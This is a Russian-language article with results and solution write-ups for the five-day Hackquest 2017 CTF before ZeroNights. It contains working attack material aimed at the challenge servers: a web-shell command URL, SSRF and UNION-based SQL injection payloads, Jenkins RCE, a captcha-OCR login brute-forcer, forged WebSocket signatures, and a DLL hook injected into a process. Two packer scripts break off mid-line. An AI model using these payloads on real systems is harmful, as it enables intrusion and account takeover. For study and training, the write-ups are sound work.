Hackquest 2017. Results & Writeups


rmyva-5jaqdlglbdencvpjafjli.jpeg


Семь дней и семь интересных заданий — это наиболее ёмкое описание ежегодного хакквеста перед Zeronights. В этом году темы заданий оказались более разнообразными, что позволило сделалать квест интересным для большего числа участников. Прочитав данную статью, вы сможете ознакомиться с решением всех заданий, а также узнать имена победителей.



Day 1. WebPWN

Первый день начался с классического Web. Задание от ONSEC состояло из эксплуатации таких уязвимостей, как частичный обход авторизации, command injection, sql injection, SSRF. Последовательно воспользовавшись каждой из них, можно было получить rce и прочитать флаг. Около 1800 человек пыталось решить это задание.


Победители
1 место 2 место 3 место
blackfan
DarkCaT
kreon


Также решили: ilyaluk, raz0r, akamajoris, kurlikasd, poneev, shvetsovalex007, leon+zeronights, mohemiv


1st day writeup. (by blackfan)
Try to save a company from the Initial Coin Offering (ICO) and consequent loss of money.
http://zeroevening.org

http://zeroevening.org/


image

Сайт с заданием представляет собой почти пустую страницу. Из интересного — только html комментарий.



http://bitbucket.zeroevening.org/

http://bitbucket.zeroevening.org

Находим поддомен с bitbucket v4.7.1, который уязвим к частичному обходу авторизации.


http://bitbucket.zeroevening.org/admin%20/server-settings

image
http://git-admintools.zeroevening.org

Из настроек узнаем о поддомене git-admintools.zeroevening.org, на котором расположен скрипт, позволяющий сделать git clone --recursive по произвольному URL. Файлы сохраняются в веб-директорию /repos/%repo_name%/.


image

В данном задании предполагалось использование CVE-2017-1000117, но я пошел более простым путем и скопировал проект с кучей готовых пейлоадов PayloadsAllTheThings. Оказалось, что расширения pht и phtml не были заблокированы и я сразу получил готовый шелл.


http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.pht

http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/phpinfo.phtml

image

Читаем config.php и идем на следующий поддомен.


http://git-admintools.zeroevening.org/repos/PayloadsAllTheThings/Upload%20insecure%20files/PHP%20Extension/Shell.phtml?cmd=cat+/var/www/html/config.php

image

http://dev-cyberplatform-ico.zeroevening.org


http://dev-cyberplatform-ico.zeroevening.org/?url=ops.jpg

На данном сайте через параметр url можно сделать SSRF и чтение произвольных файлов, результат попадает на страницу в виде base64 картинки. Я потратил довольно много времени на поиски исходного кода или конфигов, пока не наткнулся на /etc/hosts.


http://dev-cyberplatform-ico.zeroevening.org/?url=/etc/hosts

image
172.18.0.3  83c994f72770

Пробуем соседние IP и находим скрипт с SQL Injection.


http://dev-cyberplatform-ico.zeroevening.org/?url=http://172.18.0.2/user.php?username=root%27=0%2bunion%2bselect%2b1,load_file%28%27/var/www/html/install.php%27%29,3,4–%2b-

Читаем install.php и находим пароли для jenkins.


mysql_query("INSERT INTO users (login,pass,status) VALUES ('root', MD5('toor'), 'admin');");
mysql_query("DROP TABLE jenkins_users");
mysql_query("CREATE TABLE jenkins_users ( username TEXT, password TEXT );");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bomberman', 'HVQ8UijXwU)');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('cyberpunkych', 'DC8800_553535_proshe_pozvonitb_chem_y_kogo_to_zanimatb');");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('bo0om', 'Hipe4Money')");
mysql_query("INSERT INTO jenkins_users (username,password) VALUES ('jbfc', 'InBieberWeTrust')");

Находим поддомен jenkins, авторизуемся под bomberman и получаем RCE.


http://jenkins.zeroevening.org/computer/(master)/script

image

Находим флаг, сдаем и… ничего не происходит, потому что в флаге, который лежал на сервере была опечатка. Я подумал, что это какой-то троллинг и задание нужно ковырять еще глубже, но, ничего не найдя, пошел спать. В итоге все-таки оказался первым и получил инвайт.



Day 2. Petrovkey

Второй день состоял из большого таска от R0crew на reverse engineering. Необходимо было разобраться с несколькими слоями «упаковки» бинарного файла. Изначальный файл представлял собой виртуальную машину, работающую внутри исполняемого файла на языке Go. В общей сложности файл был скачан более 250 раз.


Победители
1 место 2 место
vient
Felis-Sapiens


2nd day writeup. (by vient)
Your friend works in an antivirus company. He developed a new algorithm for generating a license key and asks you to test it.

Нам дан архив с исполняемым файлом ELF x86_64 »petrovavlic». Недолго думая, открываем его в IDA, и видим, что он запакован UPX 3.94. Сам UPX распаковать его не может, автор вырезал имена секций. Каким-нибудь образом его распаковываем, например, восстановлением названий, и продолжаем.


По строкам из распакованного файла сразу понятно, что он написан на Go. Из них же и узнаем об авторе задания.


00000fb0: 2800 0000 0400 0000 476f 0000 3766 6661  (.......Go..7ffa
00000fc0: 3865 6437 3736 6134 3236 3237 3165 3864  8ed776a426271e8d
00000fd0: 6664 3937 3062 3530 6330 3163 6637 3666  fd970b50c01cf76f

0024e7e0: 44eb 0900 2f68 6f6d 652f 6b72 656f 6e2f  D.../home/kreon/
0024e7f0: 476f 676c 616e 6450 726f 6a65 6374 732f  GoglandProjects/
0024e800: 7461 736b 3230 302f 766d 2e67 6f00 002f  task200/vm.go../
0024e810: 686f 6d65 2f6b 7265 6f6e 2f47 6f67 6c61  home/kreon/Gogla
0024e820: 6e64 5072 6f6a 6563 7473 2f74 6173 6b32  ndProjects/task2
0024e830: 3030 2f6d 6169 6e2e 676f 0000 2f68 6f6d  00/main.go../hom
...

Бинарь постриплен — стандартная отладочная информация отсутствует. К счастью, в Go для рефлексии в секции .gopclntab сохраняются названия всех функций, и легко найти готовые скрипты для их восстановления, например, этот.


Все названия восстановлены — направляемся прямиком в main.main.


Side note: в golang используется нестандартное соглашение о вызовах. В x86_64 стандартным является только одно, fastcall. В golang не используются регистры для передачи параметров, а возвращаемые значения (их может быть больше одного QWORD) кладутся на стек. Это доставляет определённые неудобства при использовании Hex-Rays

Там происходит примерно это:


main.__pre__start()
fmt.Println("PetrovAntivirus Activator")
fmt.Print( "Please enter a valid email: ")
bufio._p_Reader_.ReadString(email)
main.__check__email(email)
fmt_Print( "Please enter an activation key: ")
bufio._p_Reader_.ReadString(key)
main.__check__key(key)
table = main.__gen__table(email, key)
main.__check_key_e(email, key, table)

Разберём вызовы по порядку.


main.__pre__start(): устанавливаются обработчики сигналов и происходит несколько системных вызовов SYS_ptrace с параметром PTRACE_TRACEME. Таким образом, в том числе, становится невозможно дебажить бинарь. Для нормального дебага можно вырезать установку сигналов и системные вызовы. Почему нельзя просто вырезать вызов main.__pre__start()? Для получения номеров системных вызовов используется функция main._p_syscall__table.__get__syscall__id, в которой находится большой свитч. Он смотрит текущее значение системного вызова, определает по нему следующий и сохраняет. Таким образом, если не вызвать эту функцию один раз, все её дальнейшие результаты окажутся невалидны.


main.__check__email(email): почта просто проверяется на нормальный вид.


main.__check__key(key): проверяется, что ключ имеет вид XXXX-XXXX-XXXX-XXXX-XXXX-XXXX, где X это [0-9A-Z].


main.__gen__table(email, key): тут начинаются первые сложности. Подсчитывается сумма 5 и 6 блоков ключа (ord(key[0]) + ...), также подсчитывается MD5 почты, и этот хеш никак не используется. Делается sprintf("%02X%02X", ...) для email[0:1] и email[4:5], далее для этих строк из 4 символов по тому же принципу подсчитываются суммы. Затем считается результат, пара чисел:


syscall_id_1 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_2 = main__p_syscall__table____get__syscall_id(&a1);
table[0] = Part5_sum + 4 * syscall_id_1 * syscall_id_2 + EMAIL__0_1_sum;
syscall_id_3 = main__p_syscall__table____get__syscall_id(&a1);
syscall_id_4 = main__p_syscall__table____get__syscall_id(&a1);
table[1] = Part6_sum& + 2 * syscall_id_3 * syscall_id_4 + EMAIL__4_5_sum;

Таким образом, в расчёте неких двух чисел участвует email и последние 2 блока ключа.


И вот мы подошли к главной функции: main.__check_key_e(email, key, table). Почти первой же строчкой идёт такой вызов github_com_Shopify_golua_NewState();. Название говорит само за себя, это модуль для исполнения Lua в Go. Таким образом, где-то в бинаре спрятан проверочный скрипт на Lua.


Далее по ходу функции нужно выделить вызовы github_com_Shopify_golua__p_State__Register, которые регистрируют в виртуальной машине Lua внешние функции, написанные на Go. Таких внешних функций 4: getkey — получение key в виде 6 блоков, getmail — получение email, goodkey — сообщение об успехе, badkey — о неудаче. После этого происходит github_com_Shopify_golua__p_State__Load(...) и сразу за ним github_com_Shopify_golua__p_State__ProtectedCall(...), то есть запускается проверочный скрипт.


Откуда берётся проверочный скрипт? Исходный код go-lua говорит, что первым аргументом в Load идёт io.Reader, из которого читается скрипт. io.Reader — это интерфейс, в котором есть всего один метод: Read. Поискав функции с _Read в названии, находим интересную _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read. Её полный код с небольшими изменениями:


__int64 __usercall _home_kreon_GoglandProjects_task200_eblob__p_BlobReader__Read@(_QWORD *a1, _BYTE *a2, unsigned __int64 a3)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v3 = qword_6B69F8;
  v4 = a1[2] - a1[4];
  if ( (signed __int64)a3 <= v4 )
    v4 = a3;
  for ( i = 0LL; (signed __int64)i < v4; ++i )
  {
    v6 = a1[4];
    j = v6 + *a1;
    if ( j >= qword_6AF6A8 || (v8 = EncBlob[j], k = a1[1] + v6, k >= qword_6AF6A8) || (v10 = EncBlob[k] ^ v8, i >= a3) )
      runtime_panicindex(a2, a3, a1);
    a2[i] = v10;
    ++a1[4];
  }
  if ( a1[4] >= a1[2] )
    result = v3;
  else
    result = 0LL;
  return result;
}

Видно, что a[0] и a[1] — это некоторые оффсеты в EncBlob, по которым находится 2 массива. В цикле берутся последовательные элементы из этих массивов и ксорятся. Логично предположить, что в этом массиве и спрятан скрипт.


Для поиска скрипта можно перебрать все возможные оффсеты, поксорить пару чисел из этих адресов и посмотреть на результат. Мы уже знаем, что в скрипте вызываются функции goodkey и badkey, можно поискать DWORD 'good' и найти нужные оффсеты: 23620 и 195814 (о чём и была третья подсказка). Также можно заметить, что перед вызовом Load создаётся объект Reader, в который в [0] и [1] записываются наши результаты __gen__table. Значит, для подсчитанных в __gen__table значений известно, какими они должны быть, следовательно, это тоже проверка ключа.


Исходный код скрипта (с небольшим рефакторингом)
local KEY = getkey()
local MAIL = getmail()
local keypart_sums = {}
local M = {}
local keypart_it = 1
local MAIL_extended = ""
local MAIL_ext_sums = {1,1,1,1}

keypart_it = 1
for i=1,4 do
    local keypart_sum = 0 
    local keypart_len = 0 
    for c=1,KEY[i]:len() do 
        keypart_sum = keypart_sum + KEY[i]:byte(c) 
        keypart_len = keypart_len +1 
    end 
    if keypart_len ~= 4 then 
        return badkey() 
    end 
    keypart_sums[keypart_it] = keypart_sum 
    keypart_it = keypart_it +1 
end 

for i=1,4 do 
    for j=1,4 do 
        M[(i - 1) * 4 + j] = (keypart_sums[i] + keypart_sums[j]) % 169 
    end 
end 

while string.len(MAIL_extended) < 64 do 
    MAIL_extended = MAIL_extended .. MAIL 
end 

keypart_it = 1 
local MAIL_ = 1 
for c=1,64 do 
    MAIL_ext_sums[MAIL_] = MAIL_ext_sums[MAIL_] + MAIL_extended:byte(c) 
    MAIL_ = MAIL_ + 1 
    keypart_it = keypart_it + 1 
    if MAIL_ == 5 then 
        MAIL_ = 1 
    end 
end 

for i=1,4 do 
    MAIL_ext_sums[i] = MAIL_ext_sums[i] % 13 
end 

keypart_it = 1 
for i=1,16,5 do 
    M[i] = MAIL_ext_sums[keypart_it] 
    keypart_it = keypart_it + 1 
end 

local v________ = {} 
for i=1,4 do 
    s = 0 
    for j=1,4 do 
        s = s + M[(j - 1)*4 + i] 
    end 
    v________[s] = 1 
end 

local pairs_num = 0 
for k,v in pairs(v________) do 
    pairs_num = pairs_num + 1 
end 

if pairs_num == 1 then 
    goodkey() 
else 
    badkey() 
end

Вкратце, в скрипте также считаются суммы кодов символов, складываются друг с другом в матрицу 4×4, туда же записываются суммы кодов символов в email, и проверяется, что суммы столбцов матрицы равны между собой.


У нас есть все проверки. Чтобы с их помощью сгенерировать ключ, можно использовать z3. Полный скрипт лежит в keygen.py, в нём мы создаём символический ключ и добавляем в решатель все найденные ограничения, затем z3 за нас подбирает решение системы.


keygen.py
import sys
sys.path.append(r'C:\tools\z3-4.5.0-x64-win\bin\python')

from z3 import *
init(r'C:\tools\z3-4.5.0-x64-win\bin')

mail = 'zn2017@reverse4you.org'

cons = True
def add_con(con):
    global cons
    cons = And(cons, con)

key = [[Int('key_{}_{}'.format(i, j)) for j in range(4)] for i in range(6)]

# for i in range(len(key)):
#     add_con((key[i][0] + key[i][1] + key[i][2]) % 5 == key[i][3] % 3)

for i in range(len(key)):
    for j in range(len(key[i])):
        add_con(
            Or(
                And(key[i][j] >= ord('0'), key[i][j] <= ord('9')),
                And(key[i][j] >= ord('A'), key[i][j] <= ord('Z'))))

keypart_sums = [sum(key[i]) for i in range(len(key))]

m = [[None for j in range(4)] for i in range(4)]
for i in range(4):
    for j in range(4):
        m[i][j] = (keypart_sums[i] + keypart_sums[j]) % 169

mail_ext = (mail * 100)[:64]
mail_sums = [sum(map(ord, mail_ext[i::4]), 1) % 13 for i in range(4)]
for i in range(4):
    m[i][i] = mail_sums[i]

col_sums = [sum(m[j][i] for j in range(4)) for i in range(4)]

add_con(col_sums[0] == col_sums[1])
add_con(col_sums[1] == col_sums[2])
add_con(col_sums[2] == col_sums[3])

add_con(sum(map(ord, '%02X%02X' % (ord(mail[0]), ord(mail[1])))) + 0x5A1C + keypart_sums[4] == 0x5C44)
add_con(sum(map(ord, '%02X%02X' % (ord(mail[4]), ord(mail[5])))) + 0x2FABE + keypart_sums[5] == 0x2FCE6)

# print(cons)
cons = simplify(cons)
# print(cons)

s = Solver()
s.add(cons)
print(s.check())
model = s.model()
print('-'.join(''.join(chr(model[key[i][j]].as_long()) for j in range(4)) for i in range(6)))



Day 3. YouAreWelcome

На третий день участников снова ждал Web (таск от SibearCTF). В начале задание могло показаться простым, однако, как выяснилось позже, капча и брут пароля остановили всех, кроме одного участника, который и стал победителем. Всего задние пыталось решить 480 человек.


Победитель
1 место
Paul_Axe


3rd day writeup. (by Paul_Axe)[eng]
The competition is not over yet. You still have the opportunity to get the flag: http://zeronights.sibirctf.org/2017/

  1. XSS in feedback form. Got access to moderator account. Nothing useful here though, except the list of approved accounts.
  2. Trying to register own team — got password to email. Password is 4 digits, so can be easily bruteforced.
  3. Login form is protected with simple captcha. Wrote simple script using pytesseract https://github.com/madmaze/pytesseract to recognize captcha and bruteforce login form. After 10 minutes got password for one of approved team account.


    import sys                                                                 
    import io                   
    import re                     
    import requests                     
    import pytesseract            
    from PIL import Image  
    from multiprocessing import Pool
    
    def get_cap():    
        URL = "http://zeronights.sibirctf.org/2017/sign_up"                                        
        CAP_URL = "http://zeronights.sibirctf.org/captcha/image/"
        r = requests.get(URL)                                    
        res = r.text                      
        h = re.findall("/captcha/image/([a-f0-9]+)/", res)[0]         
        img_f = io.BytesIO(requests.get(CAP_URL+h+"/").content)
        c = pytesseract.image_to_string(Image.open(img_f), config="./tesseract.config")
        return (h, c)   
    
    def brute(x):
        URL = "http://zeronights.sibirctf.org/2017/login"
        email = "keva_a78ff3@sibirctf.org"
    
        h, c = get_cap()
        r = requests.post(URL, data={
            "_username": email,
            "_password":str(x),
            "captcha_0": h,
            "captcha_1": c
            })
        if (r.status_code) != 400:
            print(email, x)
            sys.exit(0)
    
    pool = Pool(10)
    pool.map(brute, range(1000,10000))
    pool.close()
    pool.join()

  4. Approved user accounts have WebSocket-based chat window. Every WebSocket message should contain signature which authorizes sender. Unfortunately, existing signatures was incorrect. Actually signature was md5('10'), while my user account id was 4. Tried use md5('4') and it worked.
        var my_user_id = 4,
            my_sign = "d3d9446802a44259755d38e6d163e820";
  5. There was two possible message types: «new» — subscribe to new messages and «message» — send the message to somebody. Sending messages to admin account was useless, so i decided to subscribe to new messages for admin account using md5('1') as a signature.


    var uid = 1;
    var sign = 'c4ca4238a0b923820dcc509a6f75849b';
    ws = new WebSocket("ws://13.93.88.79:8001/");
    ws.onmessage = function(e) {
        try {
            console.log(JSON.parse(e.data))
        } catch(Exception ) {
            console.log((e.data))
        }
    }
    
    ws.onopen = function(){
        ws.send(JSON.stringify({
            'type': 'new',
            'userid': uid,
            'signature': sign
        }));
    };

  6. Seems like there was some issues with bot, sending flag messages to admin account, but after a while i got it.
    w0w_c0n6r47ul4710n_m337_47_z3r0n16h75



Day 4. Remansory challenge

Четвертый день представлял собой цепочку заданий нарастающей сложности от R0crew. Первое звено цепочки было самым простым и его смогли пройти 20 человек. Второе звено оказалось по силам для 6 человек, а до решения последнего добрались только двое. Подробное описание каждого этапа можно найти под спойлером.


Победители
1 место 2 место 3 место
sysenter
AV1ct0r
Felis-Sapiens


Также решил: Aleksey Cherepanov


4th day writeup. (by sysenter)
You received an invitation to join the Masonic lodge of reverse engineers. But it’s not so simple. You must complete the initiation and solve 4 tasks in one day. Good luck! You will find us in the telegram (@remasonry_bot)

Task #1


Имеется PE32 exe файл. Строки:
07c49dac39bad4a0798d36e2b252ecab.png


Подаем user_id и какой-нибудь пароль, смотрим, что программа с ними делает.
c2f91ad99f86d5581b0a1e8275421bb9.png


Подменим содержимое bytesUserId на "I'm ready!!!!" (не забудем, обновить размер буфера для DIV EBX) и пропатчим немного программу.
46dd873addf7da8ddf71c585fc6e55d6.png


После выполнения цикла szSalt содержит наш пароль.
fcf7555f5292d7ce48bb1e0ee3904ce9.png


Task #2 packer


Есть программа для распаковки архивов неизвестного формата и набор файлов, которые нужно в такой архив упаковать.
Никаких обфускаций, защит и прочего, очень простой формат. Приведу его описание.
5bdbae7c35a065ac041230ea90a74d75.png
По этой информации не составляет труда написать упаковщик.
Не забываем про ограничение в 1 мегабайт, так что все повторяющиеся файлы сохраняем только один раз в FD.


Программа для чтения:


task2.py
import struct

data = open('2017.zn', 'br').read()
position = 0
lst_position = 0

def read_dword():
    global data, position, lst_position
    value = struct.unpack('

Программа для упаковки:


task2_packer.py
import struct
import os

magic = 0x30324e5a
version = 0x3731

FOLDERS = []
FOLDERS_mirr = []
FILES = []
FILENAMES = []
FILENAMES_real = []
FILEDATAINFO = []
FILEDATA = b''

TARGET_FOLDER = 'pack_me'

FOLDERS_mirr += [TARGET_FOLDER]
FILES_mirr = []

for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
    for subdirname in dirnames:
        FOLDERS += [(len(FOLDERS) + 1, FOLDERS_mirr.index(dirname), len(FILENAMES))]
        FOLDERS_mirr += [dirname + '\\' + subdirname]
        FILENAMES += [(dirname + '\\' + subdirname, 1)]

for dirname, dirnames, filenames in os.walk(TARGET_FOLDER):
    for flnm in filenames:
        FILES += [(len(FILES), FOLDERS_mirr.index(dirname), len(FILENAMES))]
        FILES_mirr += [dirname + '\\' + flnm]
        FILENAMES += [(dirname + '\\' + flnm, 0)]

for idx, x in enumerate(FILENAMES):
    fn = FILENAMES[idx][0].split('\\')[-1]
    FILENAMES_real += [(idx, len(fn), fn.encode('utf-8'))]

for idx, x in enumerate(FILENAMES):
    if x[1] == 0:
        fdata = open(x[0], 'rb').read()
        if fdata not in FILEDATA:
            FILEDATA += fdata
        offset = FILEDATA.index(fdata)
        fsize = len(fdata)
        FILEDATAINFO += [(FILES_mirr.index(x[0]), offset, fsize)]

zn_new_offset = [0 for i in range(5)]
zn_new_size = [0 for i in range(5)]

DATA = b''

for x in FOLDERS:
    DATA += struct.pack('

Task #3 random.apk


Задание, по словам организатора, было с багом, так что всем просто сообщали ответ.
Разберем его тоже.


Имеется apk файл, который ожидает ввода некоторой строки.
Восстановим алгоритм проверки.


code
import java.math.BigInteger;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class Main {
    //private static final String base64chars = "A2CTEFGHnJKLMNsPQ7SDlVvXYZabcdefghijkUmIopqrOtuWwxyz01B3456R89+/";

    private static String CalcMD5(String paramString) throws NoSuchAlgorithmException {
        MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");
        localMessageDigest.update(paramString.getBytes(), 0, paramString.length());
        return new BigInteger(1, localMessageDigest.digest()).toString(16);
    }

    //

    private static long Random(long paramLong) {
        return (0xFFFFFFF & 11L + 252149039L * paramLong) >> 8;
    }

    private static long RandomSkip50(long paramLong) {
        for (int i = 0; i < 50; i = i + 1) {
            paramLong = Random(paramLong);
        }
        return paramLong;
    }

    private static String RandomGetString(String paramString, long paramLong) {
        String str = "";
        for (int i = 0; i < 32; i++) {
            paramLong = Random(paramLong) & 0xFF;
            str += paramLong ^ paramString.charAt(i);
        }
        return str;
    }

    public static void main(String[] args) throws NoSuchAlgorithmException {
        String str = "INPUT_HASH_HERE"; // CalcMD5("SuperAndroidChallenge"); // baaee25a694971ac1e6dde4b2e8b1386
        String[] arrayOfString = new String[500];
        for (int i = 0; i < arrayOfString.length; i++) {
            arrayOfString[i] = RandomGetString(str, RandomSkip50(i));

        }
        int j = 0;
        for (int k = 0; k < arrayOfString.length; k++) {
            j += arrayOfString[k].length();
        }
        if (j == 40762) {
            System.out.println("OK");
        }
    }
}

В первую очередь, попытаемся найти хеш, который пройдет контрольную проверку.
Алгоритм проверки сводится к суммированию длины некоторого набора строк (500 штук).


Каждая строка генерируется как конкатенация тридцати двух десятичных чисел, каждое из которых — это xor гаммы и одного символа хеша (в строковом представлении, нижний регистр).


Обращаем внимание, что гамма не зависит от хеша, так что её можно считать константной (зависит только от строки и колонки).
Её можно вычислить заранее и сохранить в файл. Получится таблица 500×32 элементов.
Ниже, для примера, приведено несколько первых строк таблицы.
6d0c456c759a7fe4f8bd13b3d90cccdd.png


Очевидно, десятичное число после xor с символом хеша может быть длины 1, 2 или 3.


Зная, что символы хеша могут принимать только значения из диапазона [a-f0-9], можно однозначно определить длину результирующего десятичного числа на некоторых позициях, в то время как на других свести в точности к двум вариантам (подтверждено практически).


Преобразовываем таблицу так, чтобы её элементами были списки возможной длины результирующего десятичного числа.


На данном этапе контрольное число 40762 — это сумма значений всей таблицы.
Понятно, что можно беспрепятственно вычесть из контрольного числа минимум каждого элемента (который является списком) таблицы, не забыв при этом уменьшить и соответствующие значения самого списка. Теперь контрольное число это 3449. А таблица будет состоять из элементов двух типов: [0] и [0, 1].


Рассмотрим один столбец такой таблицы. Попробуем представить все возможные комбинации из элементов [0, 1]. Ясно, что существуют невозможные варианты, которые нельзя получить, зафиксировав букву хеша. Поэтому, во время поиска решения, необходимо использовать только допустимые расстановки 0 или 1.
Зафиксируем букву хеша в некоторой позиции (от 0 до 31, включительно), так весь столбец таблицы, соответствующий этой позиции, примет однозначные значения. Просуммируем столбец и запишем в список (без повторений). Повторим эту операцию для всех остальных возможных символов хеша.
Теперь для каждой позиции у нас есть массив возможных вкладов колонки в общую сумму.


[100, 103, 94, 102, 97, 98, 95]
[109, 123, 108, 115, 114, 111, 112]
[103, 116, 122, 114, 95, 93, 97, 112, 119]
[121, 100, 107, 125, 105, 124, 90, 104, 120]
[100, 101, 103, 87, 105, 102, 91, 95]
[121, 109, 123, 126, 110, 102, 118, 90, 119]
[100, 101, 128, 82, 119, 118, 88, 134, 130]
[121, 127, 106, 122, 97, 112, 88, 119]
[103, 116, 92, 111, 112, 110, 88]
[128, 81, 80, 92, 90, 104, 91, 131, 95]
[123, 127, 126, 93, 102, 104, 124, 98]
[117, 133, 100, 123, 108, 142, 96, 119]
[117, 109, 133, 103, 93, 112, 110, 88, 134]
[75, 71, 101, 129, 116, 110, 102, 91, 130]
[98, 87, 94, 93, 148, 86, 149]
[100, 158, 103, 90, 88, 83, 95]
[87, 84, 86, 90, 88, 89, 145]
[100, 101, 103, 150, 93, 151, 89, 95]
[117, 108, 105, 166, 165, 111, 93, 96]
[117, 100, 107, 150, 114, 90, 110, 83, 149]
[117, 99, 116, 114, 112, 152, 88, 96, 154]
[108, 101, 103, 99, 153, 111, 102, 156]
[117, 176, 101, 99, 80, 122, 96, 167]
[77, 117, 140, 138, 102, 86, 118]
[101, 99, 158, 159, 104, 102, 90, 96, 95]
[109, 101, 115, 84, 111, 143, 90]
[107, 82, 168, 161, 102, 90, 96, 98, 95]
[71, 108, 158, 94, 85, 86, 162, 88, 106]
[75, 71, 80, 94, 92, 93, 148, 91]
[100, 99, 150, 93, 155, 83, 95]
[133, 109, 142, 87, 113, 94, 93, 85, 91]
[74, 135, 76, 80, 94, 92, 88, 149]

Решение задачи сводится к нахождению всех комбинаций «по одному элементу из каждого списка», сумма которых равна контрольному числу 3449, что по сути является частным случаем задачи об укладке ранца.
Для решения воспользуемся Z3 (SMT решатель).


from z3 import *
STUFF = [[100, 95, 98, 94, 102, 97, 103], … [88, 74, 76, 92, 80, 149, 94, 135]]
s = Solver()
chars = []
for i in range(len(STUFF)):
   chxr = Int('c_%d' % i)
   s.add(Or([chxr == STUFF[i][j] for j in range(len(STUFF[i]))]))
   chars += [chxr]
s.add(Sum(*chars) == 3449)
while s.check() == sat:
  mod = s.model()
  d = [mod[Int('c_%d' % i)] for i in range(32)]
  print(d) 
  s.add(Not(And([Int(str(xx)) == mod[xx] for xx in mod])) )

Немного подождав, получим не меньше 18к вариантов решений.
Однако каждое из таких решений может дать далеко не одно подходящее значение хеша.
Так, например, решение:


[100, 123, 122, 125, 105, 126, 134, 127, 116, 131, 127, 117, 134, 116, 149, 103, 84, 89, 93, 83, 88, 99, 80, 77, 90, 143, 107, 71, 148, 83, 85, 74]

распадается на всевозможные значения хеша, удовлетворяющие регулярному выражению:


^[6789][89][45][01][89][89][89][89][0123][f][01][23][de][01][de][a][23][bc][89][bc][bc][bc][89][bc][bc][def][a][89][def][89][bc][45]$

Примеры:


684088880f02d0da2b8bbb8ccfa9e9c4
684088880f02d0da2b8bbb8ccfa9e9c5
684088880f02d0da2b8bbb8ccfa9f8b4
684088880f02d0da2b8bbb8ccfa9f8b5
684088880f02d0da2b8bbb8ccfa9f8c4
684088880f02d0da2b8bbb8ccfa9f8c5
684088880f02d0da2b8bbb8ccfa9f9b4

Итого: Задача имеет огромное множество решений, вопрос только в обращении md5 хеша.


Task #4 pythonre


Задание представляет собой собранную в exe программу на языке Python.
Извлекаем pyc файл.
Процесс перезапускает себя, так что перехватим CreateProcessW, поправим CreationFlags, приаттачимся.
954afc30c3bd354e267c43de489ca2cb.png


По строкам найдем функцию, в которой можно перехватить буффер с pyc файлом исследуемой программы.
ece8cbc82077a9ebfa5222e7e1c1ca36.png


Прогнав через декомпилятор, не получаем ничего хорошего, код обфусцирован.
Попробуем подглядеть внутренние состояние в момент проверки ключа.
Напишем программу (dll), которая перехватит PyObject_RichCompare и будет выводить в консоль (stderr) переданные её параметры.
Code:


typedef void PyObject;
typedef void (CDECL * _PyObject_Dump)(PyObject *o1);
_PyObject_Dump PyObject_Dump;

PHOOK hook1;
PyObject* CDECL xPyObject_RichCompare(PyObject *o1, PyObject *o2, int opid) {
   PyObject* result = ((PyObject*(CDECL*)(PyObject*,PyObject*,int))hook1->original)(o1, o2, opid);
   PyObject_Dump(o1);
   PyObject_Dump(o2);
   return result;
}

typedef PyObject*(CDECL * PyObject_RichCompare)(PyObject *o1, PyObject *o2, int opid);
void hackFunctions() {
   PyObject_Dump = (_PyObject_Dump)GetProcAddress(GetModuleHandleA("python27.dll"), "_PyObject_Dump");
   hook1 = HookFunction(GetProcAddress(GetModuleHandleA("python27.dll"), "PyObject_RichCompare"), xPyObject_RichCompare);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
   switch (reason) {
   case DLL_PROCESS_ATTACH:
      hackFunctions();
   }
   return TRUE;
}

Заинжектим её в процесс re_task.exe и посмотрим несколько первых и последних записей.
4697e4dd4da711db2881644ec3fa926f.png


Сразу обращаем внимание на регулярное выражение (которое очевидно является преобразованным содержимым data.txt, поскольку размер в точности совпадает).


Ну и перед самым выводом сообщения о неудаче, видим вызов re.sub и сравнение с None.


Такое регулярное выражение уже где-то встречалось (LabyREnth 2016), но там оно было несколько проще и мой солвер оттуда не подходил для решения такой системы. Я решил посмотреть чужие решения и нашел в точности такое-же задание на PlaidCTF 2015.


Берем любой готовый солвер, немного подправляем и скармливаем нашу регулярку.


Спустя несколько часов получаем ответ.


nooyhtortroornehopetrotnnrenohtopyeohnoeyonyrherpo teptooeonoohptppeoprtphprthrhpnnyyprrpnhepoportppr enppeoernnehtynrotyynerttoyeeteepepohhoyrptnhponro tpehooeonptnophoyphnp


70bdc4be18c8579a7e8463453c82ad59.png


Архив со всеми используемыми файлами (task2.py, task2_packer.py, re_task.pyc) ZN2017.7z‎.



Day 5. NotSafeAgency

В пятый день было необычное для Hackquest«а задание от Digital Security на демодулирование радиосигнала с последующим решением тривиальной задачи на криптографию. Около 100 человек предприняли попытки подключиться к серверу и получить дамп радиоэфира.


Победители
1 место 2 место
maximilian
p41l


5th day writeup. (by DSec)
Yo dude! Our insider in NSA had set up some strange BUG in the printer. Nobody has seen him since then. His last message was: «They are communicating via strange devices on 2.4». We tried to understand, but failed horrobly. Now it is your turn to figure out what is going on.
The insider gave us access to the BUG: 35.195.97.218:31337 with password «antiNSAradiospy»

Самым простым способом решения задания является использование Universal Radio Hacker (URH). Этот способ мы и рассмотрим.


При подключении к этому сокету видим следующее:


ncat 35.195.97.218  31337

Hey you're entering into secure zone. Enter Password: 

Вводим известный нам пароль и получаем сообщение:


Hello! This is NSA_sup3r_r4d1o_h4ck1ng_spy_d3v1c3. Select frequency. Available frequencies (MHz) is: 2401, 2402, 2403, 2404, 2405, 2406, 2407, 2408, 2409, 2410

При выборе любой частоты в консоль «падает» большое количество бинарных данных, поэтому при подключении перенаправим вывод в файл. Таким образом для получения данных с частоты 2401 используем команду:


ncat 35.195.97.218 31337 > 2401_rawdump

antiNSAradiospy
2401

Открыв еще одну консоль можно увидеть как растет размер файла 2401_rawdump:


18M Nov  2 13:14 2401_rawdump
19M Nov  2 13:14 2401_rawdump
20M Nov  2 13:14 2401_rawdump
